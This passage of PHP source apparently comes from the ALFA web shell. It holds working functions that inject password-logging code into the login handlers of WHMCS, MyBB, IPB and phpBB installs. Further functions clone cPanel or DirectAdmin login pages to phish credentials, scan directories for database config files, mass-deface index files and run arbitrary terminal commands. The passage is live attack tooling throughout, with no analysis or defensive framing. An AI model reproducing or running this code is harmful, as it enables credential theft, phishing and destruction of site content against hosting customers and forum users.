}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = '';
}
if(@is_file($login) AND @is_writable($login) AND $login != ''){
$data_login = @file_get_contents($login);
$evil_login = $code."\n".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,'?>'))$code = '?>'.$code;
$evil_conf = $data_conf."\n".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
$find = '$loginhandler->complete_login();';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/member.php";
$evil_login = "\t".$code."\n\t".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
if($e=='str'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace('\\','/',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace('\\','/',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Alfa_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function alfafakepage(){
	alfahead();
	AlfaNum(9,10);
	echo '<div class=header><br>
	<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
	<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
	$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
	foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
	echo("</select></div>");
	echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
	$clone_page = $_POST['alfa1'];
	$fake_root = $_POST['alfa2'];
	$logto = $_POST['alfa4'];
	$panel = $_POST['alfa5'];
	$inject_to = $_POST['alfa6'];
	$bind_on = $_POST['alfa7'];
	$count = $_POST['alfa8'];
	if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){
		echo __pre();
		$target = $clone_page;
		$curl = new AlfaCURL();
		$source_page = $curl->Send($target);
		if(!empty($source_page)){
			$matched_form = "";
			if($panel == "cpanel"){
				if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}else{
				if(preg_match('#<form(.*?)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}
			if(!empty($matched_form)){
				$fake = "";
				$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
				$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
				if($panel == "cpanel"){
					$port = "2083";
				}else{
					$target = str_replace(array("http://", "https://"), "", $target);
					$port = explode(":",$target);
					$port = $port[1];
				}
				if(substr($uri, 0, 1) == "/"){
					$uri = substr($uri, 1);
				}
				$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
				$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
				if($panel == "cpanel"){
					$form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
				}else{
					$form = '<form action="'.$log_url.'" method="post">';
				}
				$fake = str_replace($matched_form, $form, $source_page);
				if(@!is_dir($fake_root)){
					@mkdir($fake_root, 0777, true);
				}

				$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);

				$post_user = 'user';
				$post_pass = 'pass';
				$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
				if($panel != "cpanel"){
					$post_user = 'username';
					$post_pass = 'password';
					$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
				}

				$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';

				@file_put_contents($fake_root.'/log.php', $cpanel_log);

				if($panel == "cpanel"){
					$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
				}

				@file_put_contents($fake_root.'/index.php', $fake);

				$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
				$bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';

				@file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to));
				@file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on));

				echo "success...!";
			}else{
				echo "failed...!";
			}
		}else{
			echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
		}
	}
	echo '</div>';
	alfafooter();
}
function alfaarchive_manager(){
	alfahead();
	$file = $_POST['alfa2'];
	if(!file_exists($file)){
		$file = $GLOBALS['cwd'];
	}
	$rand_id = rand(9999, 999999);
	echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
	echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	if($_POST['alfa5']=='>>'){
		//echo __pre();
		echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
		echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
		__alfa_open_archive_file($file, $rand_id);
		echo '</div>';
	}
	echo '</div>';
	alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
	try{
		$files = array();
		$dirs = array();
		$archive = new PharData($arch);
		 foreach($archive as $file) {
			 $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
		     if($file->isDir()) {
				 $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
		     }else{
				 $file_size = @filesize($file->getPathname());
				 $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file",  "modify" => $file_modify, "size" => $file_size);
			 }
		 }
		 function __alfa_open_archive_usort($a, $b){
			 return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
		 }
		 usort($dirs, "__alfa_open_archive_usort");
		 usort($files, "__alfa_open_archive_usort");
		 $files = array_merge($dirs, $files);
		 echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
		 $icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
		 echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
		 foreach($files as $file){
			 $icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
			 if($file["type"] == "dir"){
			 	echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
		 	}else{
				echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";

			}
		 }
		  echo '</table>';
	}catch(Exception $e){
		echo("0");
	}
}
function alfaopen_archive_dir(){
	$dir = $_POST["alfa1"];
	$base_id = $_POST["alfa2"];
	__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
	alfahead();
	echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
	echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	$dir = $_POST['alfa2'];
	$ext = $_POST['alfa3'];
	if($_POST['alfa5']=='>>'){
		echo __pre();
		Alfa_ConfigGrabber($dir, $ext);
	}
	echo '</div>';
	alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
	$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
	$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
	if(@is_readable($dir)){
		$globFiles = @glob("$dir/*.$ext");
		$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
		$blacklist = array();
		foreach ($globDirs as $dir) {
			if(!@is_readable($dir)||@is_link($dir)) continue;
			@Alfa_ConfigGrabber($dir, $ext);
		}
		foreach ($globFiles as $file){
			$filee = @file_get_contents($file);
			if(preg_match($pattern, $filee)){
				echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
			}
		}
	}
}
function alfasearcher(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if($_POST['alfa5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST['alfa1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
}
}
echo '</div>';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
	DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['alfa4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == '.')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
alfafooter();
}
function Alfa_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == '.')continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."  <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc(){
alfahead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
echo '</div>';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
    function json_encode($a=false){
        if (is_null($a)) return 'null';
        if ($a === false) return 'false';
        if ($a === true) return 'true';
        if (is_scalar($a))
        {
            if (is_float($a))
            {
                return floatval(str_replace(",", ".", strval($a)));
            }

            if (is_string($a))
            {
                static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
                return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
            }
            else
            return $a;
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a))
        {
            if (key($a) !== $i)
            {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList)
        {
            foreach ($a as $v) $result[] = json_encode($v);
            return '[' . join(',', $result) . ']';
        }
        else
        {
            foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
            return '{' . join(',', $result) . '}';
        }
    }
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
    $comment = false;
    $out = '$x=';
    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
            else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
            else if ($json[$i] == ':'){$out .= '=>';}
            else {$out .= $json[$i];}
        }
        else $out .= $json[$i];
        if ($json[$i] == '"')    $comment = !$comment;
    }
    eval($out . ';');
    return $x;
}
}
function alfaterminalExec(){
	$pwd = "pwd";
	$seperator = ";";
	if($GLOBALS['sys']!='unix'){
		$pwd = "cd";
		$seperator = "&";
	}
	if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
	$current_path = '';
	if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
		if(empty($match[1])){
			$match[1] = $match[2];
		}
		$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
		$current_path = str_replace("\\", "/", $current_path);
	}
	$out = alfaEx($cmd.$_POST['alfa1'], true);
	$out = htmlspecialchars($out);
	echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
    $dictionary = array(
        '[01;30m' => '<span style="color:black">',
        '[01;31m' => '<span style="color:red">',
